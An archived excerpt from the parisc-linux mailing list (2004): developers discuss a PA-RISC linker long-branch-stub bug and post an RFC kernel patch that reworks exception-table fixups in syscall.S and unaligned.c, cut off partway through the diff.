X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26576 invoked by uid 65534); 11 Sep 2004 10:06:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 11 Sep 2004 12:06:34 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 814BC3BDF4; Sat, 11 Sep 2004 04:06:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19933-03; Sat, 11 Sep 2004 04:06:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C43393BDF6; Sat, 11 Sep 2004 04:06:18 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 33BC63BDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 04:06:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18985-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 04:06:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id CCC9A3BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 04:06:11 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8BA6A45003757; Sat, 11 Sep 2004 06:06:10 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8BA6ACE003756;
	Sat, 11 Sep 2004 06:06:10 -0400 (EDT)
In-Reply-To: <20040911091725.GM28659@tausq.org> from "Randolph Chung" at Sep
	11, 2004 05:17:25 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21962

> when this code is compiled and assembled, i can see in the disassembly
> that the insn at "3:" contains a PCREL17F reloc against

Not a PCREL22F?

> .text.function+xxx which is pointing to the location of "2:". So far so
> good...
> 
> But after linking with the rest of the kernel, the b,l address at "3:"
> is wrong (it points to an address that is an offset from the __ex_table
> section). 
> 
> not sure why this is happening, but it looks like a ld bug?

Does it point to a long branch stub?  I've had trouble with this
before when trying to use sibcalls.  There's only one stub table
and if you can't get there you're scuppered.  Since your branch is
in a different section from the target, you may need a long branch
stub.

This needs to be fixed but no one has time to work on it.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] is this a known hppa64-linux-ld bug?
Date: 11 Sep 2004 09:48:56 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <1094910543.1714.5.camel@mulgrave>
References: <20040911091725.GM28659@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623549 10978 80.91.229.3 (22 Nov 2014 02:32:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:29 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29443 invoked by uid 65534); 11 Sep 2004 13:49:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 11 Sep 2004 15:49:36 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 839CD3BDDD; Sat, 11 Sep 2004 07:49:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22116-01; Sat, 11 Sep 2004 07:49:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C52263BE12; Sat, 11 Sep 2004 07:49:11 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 743C13BDF4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 07:49:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19933-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 07:49:06 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 8D6AC3BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 07:49:05 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i8BDn2J05418; Sat, 11 Sep 2004 09:49:03 -0400
In-Reply-To: <20040911091725.GM28659@tausq.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21963

On Sat, 2004-09-11 at 05:17, Randolph Chung wrote:
> does anybody have a suggestion for a workaround? 

I'm glad you didn't say "good" work around.  How about just building the
stub ourselves:

3:	ldil	L%2b,%r19
	ldo	R%2b(%r19),%r19
	bv,n	0(%r19)

This is certainly more efficient than the linker could ever do since we
know that even on LP64 the kernel lies under 4GB.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] is this a known hppa64-linux-ld bug?
Date: Sat, 11 Sep 2004 08:32:24 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20040911153224.GN28659@tausq.org>
References: <20040911091725.GM28659@tausq.org>
	<200409111006.i8BA6ACE003756@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623549 10980 80.91.229.3 (22 Nov 2014 02:32:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2934 invoked by uid 65534); 11 Sep 2004 15:33:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 11 Sep 2004 17:33:44 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7933C3BDF4; Sat, 11 Sep 2004 09:33:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23242-02; Sat, 11 Sep 2004 09:33:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 576873BE22; Sat, 11 Sep 2004 09:32:32 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0222D3BDF4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 09:32:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22116-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 09:32:25 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 8F3713BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 09:32:24 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 65964CD651; Sat, 11 Sep 2004 08:32:24 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200409111006.i8BA6ACE003756@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21964

In reference to a message from John David Anglin, dated Sep 11:
> > when this code is compiled and assembled, i can see in the disassembly
> > that the insn at "3:" contains a PCREL17F reloc against
> 
> Not a PCREL22F?

no, i think you get a PCRLE22F only if the link register is r2, right?

> Does it point to a long branch stub?  I've had trouble with this
> before when trying to use sibcalls.  There's only one stub table
> and if you can't get there you're scuppered.  Since your branch is
> in a different section from the target, you may need a long branch
> stub.

oh, right, it's that problem again.... :-(

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] Revamp exception handling in the kernel
Date: Sat, 11 Sep 2004 09:53:25 -0700
Lines: 821
Approved: news@gmane.org
Message-ID: <20040911165325.GO28659@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623549 10984 80.91.229.3 (22 Nov 2014 02:32:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:29 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21166 invoked by uid 65534); 11 Sep 2004 16:54:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 11 Sep 2004 18:54:21 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B1C8E3BE27; Sat, 11 Sep 2004 10:53:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23844-02; Sat, 11 Sep 2004 10:53:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7DFE43BDF6; Sat, 11 Sep 2004 10:53:30 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 91A8C3BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 10:53:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23193-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 10:53:24 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 88E643BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 10:53:23 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A620ACD659; Sat, 11 Sep 2004 09:53:25 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21965

Currently, palinux handles exceptions differently from other
architectures in the kernel. On most other architectures, an exception
to a read/store that has an associated exception table entry in the
kernel is handled by code in a fixup section, which is responsible for
setting the proper return values, etc.

On pa, we currently have an interesting scheme that associates a "skip"
value with each exception entry. The bottom two bits of the skip value
indicates whether r8,r9 should be set to -EFAULT,0 during a fault, and
the top bits indicate a relative adjustment that should be applied to
the iaoq to handle the fault.

The patch below, based on my discussions with jejb, changes this
behaviour so that it more closely matches what happens on other
architectures (but with a twist...): the exception table entries now
contain an *absolute* address to branch to for the fixup [1]. The 
fixups are placed in a separate fixup section (this simplifies a bit of 
code in unaligned.c too). The fixup code loads up whatever values are 
required by the caller, and typically branches back to the original 
code at a correct location to continue.

This frees up the bottom two bits for other purposes -- currently there
is no way to pass the faulting address and instruction back to an
exception table handler. The proposal is to reuse the bottom 2 bits to
indicate whether the faulting address/insn should be passed back to the
handler in r8/r9. (this will be used by the optimized pa copy routines,
for example)

One downside of this approach is that the extra fixup sections take up
more space, so the end kernel is bigger. In my test on 64-bit, the
kernel size increases by ~2%.

The patch below has been tested against 2.6.8.1-pa11 on 64-bit-SMP, and
compile tested on 32-bit-UP. I don't have a 32-bit machine to test on
atm, so test reports are most welcome [2]. I've applied the manual stubs
trick that jejb mentioned earlier, but only for 64-bit, since the 32-bit
linker is able to generate those stubs automatically when needed.

Comments?

randolph

[1] The change to using absolute jumps is because gas doesn't want to
let us take the difference of labels in two different sections (viz.
.text vs .fixup). jejb and I are not able to come up with a case where
using relative jumps is required.

[2] Since this changes the *exception* path, simply booting a kernel or
building things will not exercise the new code. You need to do something
that will trigger a load/store fault on userspace in the kernel. If I
were Carlos I would have attached a nice testsuite to this patch, but
alas I've only done some manual testing on a few cases.... there's a
debug printk in this patch which will print something like:
    "applying fixup for 0x10281ae4, fixup at 0x103ca614"
if you see that, then you are exercising the new code.


Index: arch/parisc/kernel/syscall.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/syscall.S,v
retrieving revision 1.14
diff -u -p -r1.14 syscall.S
--- arch/parisc/kernel/syscall.S	10 Sep 2004 14:52:01 -0000	1.14
+++ arch/parisc/kernel/syscall.S	11 Sep 2004 16:25:50 -0000
@@ -29,6 +29,19 @@
 #else
 	.level		1.1
 #endif
+
+#ifndef __LP64__
+	.macro fixup_branch,lbl
+	b	    \lbl
+	.endm
+#else
+	.macro fixup_branch,lbl
+	ldil	    L%\lbl, %r1
+	ldo	    R%\lbl(%r1), %r1
+	bv,n        %r0(%r1)
+	.endm
+#endif
+
 	.text
 
 	.import syscall_exit,code
@@ -575,10 +588,8 @@ cas_action:
 	/* Return to userspace, set no error */
 	b	lws_exit
 	copy	%r0, %r21
-	nop	/* Add some visual space in objdump */
-	nop
-	nop
-	nop
+
+	.section .fixup,"ax"
 3:		
 	/* Error occured on load or store */
 #ifdef CONFIG_SMP
@@ -588,12 +599,13 @@ cas_action:
 	stw	%r0, 4(%sr2,%r20)
 # endif
 #endif
-	b	lws_exit
+	fixup_branch lws_exit
 	ldo	-EFAULT(%r0),%r21	/* set errno */
 	nop
 	nop
 	nop
 	nop
+	.previous
 
 	/* Two exception table entries, one for the load,
 	   the other for the store. Either return -EFAULT */
@@ -601,10 +613,10 @@ cas_action:
 #ifdef __LP64__
 	/* Pad the address calculation */
 	.word	0,(2b - linux_gateway_page)
-	.dword	(3b - 2b) 
+	.dword	3b
 #else
 	.word	2b - linux_gateway_page
-	.word	(3b - 2b) 
+	.word	3b
 #endif
 	.previous
 
@@ -612,10 +624,10 @@ cas_action:
 #ifdef __LP64__
 	/* Pad the address calculation */
 	.word	0,(1b - linux_gateway_page)
-	.dword	(3b - 1b) 
+	.dword	3b
 #else
 	.word	1b - linux_gateway_page
-	.word	(3b - 1b) 
+	.word	3b
 #endif
 	.previous
 
Index: arch/parisc/kernel/unaligned.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/unaligned.c,v
retrieving revision 1.8
diff -u -p -r1.8 unaligned.c
--- arch/parisc/kernel/unaligned.c	21 Aug 2004 06:19:33 -0000	1.8
+++ arch/parisc/kernel/unaligned.c	11 Sep 2004 16:25:50 -0000
@@ -23,6 +23,7 @@
 #include <linux/config.h>
 #include <linux/kernel.h>
 #include <linux/module.h>
+#include <asm/uaccess.h>
 
 /* #define DEBUG_UNALIGNED 1 */
 
@@ -134,15 +135,19 @@ static int emulate_ldh(struct pt_regs *r
 "1:	ldbs	0(%%sr1,%3), %%r20\n"
 "2:	ldbs	1(%%sr1,%3), %0\n"
 "	depw	%%r20, 23, 24, %0\n"
-"	cmpclr,= %%r0, %%r0, %1\n"
-"3:	ldo	-2(%%r0), %1\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %1\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %1\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (val), "=r" (ret)
@@ -175,15 +180,19 @@ static int emulate_ldw(struct pt_regs *r
 "	subi	32,%%r19,%%r19\n"
 "	mtctl	%%r19,11\n"
 "	vshd	%0,%%r20,%0\n"
-"	cmpclr,= %%r0, %%r0, %1\n"
-"3:	ldo	-2(%%r0), %1\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %1\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %1\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (val), "=r" (ret)
@@ -222,15 +231,19 @@ static int emulate_ldd(struct pt_regs *r
 "	subi	64,%%r19,%%r19\n"
 "	mtsar	%%r19\n"
 "	shrpd	%0,%%r20,%%sar,%0\n"
-"	cmpclr,= %%r0, %%r0, %1\n"
-"3:	ldo	-2(%%r0), %1\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %1\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %1\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (val), "=r" (ret)
@@ -250,17 +263,20 @@ static int emulate_ldd(struct pt_regs *r
 "	mtsar	%%r19\n"
 "	vshd	%0,%1,%0\n"
 "	vshd	%1,%%r20,%1\n"
-"	cmpclr,= %%r0, %%r0, %2\n"
-"4:	ldo	-2(%%r0), %2\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %2\n"
+"4:	\n"
+"	.section .fixup,\"ax\"\n"
+"5:	ldi	-2, %2\n"
+	FIXUP_BRANCH(4b)
+"	.previous\n"
 #ifdef __LP64__
-"	.dword	1b,(4b-1b)\n"
-"	.dword  2b,(4b-2b)\n"
-"	.dword	3b,(4b-3b)\n"
-#else
-"	.word	1b,(4b-1b)\n"
-"	.word	2b,(4b-2b)\n"
-"	.word	3b,(4b-3b)\n"
+"	.dword	1b,5b\n"
+"	.dword  2b,5b\n"
+"	.dword	3b,5b\n"
+#else
+"	.word	1b,5b\n"
+"	.word	2b,5b\n"
+"	.word	3b,5b\n"
 #endif
 "	.previous\n"
 	: "=r" (valh), "=r" (vall), "=r" (ret)
@@ -296,15 +312,19 @@ static int emulate_sth(struct pt_regs *r
 "	extrw,u %1, 23, 8, %%r19\n"
 "1:	stb %1, 1(%%sr1, %2)\n"
 "2:	stb %%r19, 0(%%sr1, %2)\n"
-"	cmpclr,= %%r0, %%r0, %0\n"
-"3:	ldo	-2(%%r0), %0\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %0\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %0\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (ret)
@@ -346,15 +366,19 @@ static int emulate_stw(struct pt_regs *r
 "	or	%%r1, %%r21, %%r21\n"
 "	stw	%%r20,0(%%sr1,%2)\n"
 "	stw	%%r21,4(%%sr1,%2)\n"
-"	cmpclr,= %%r0, %%r0, %0\n"
-"3:	ldo	-2(%%r0), %0\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %0\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %0\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (ret)
@@ -399,19 +423,23 @@ static int emulate_std(struct pt_regs *r
 "	or	%%r1, %%r21, %%r21\n"
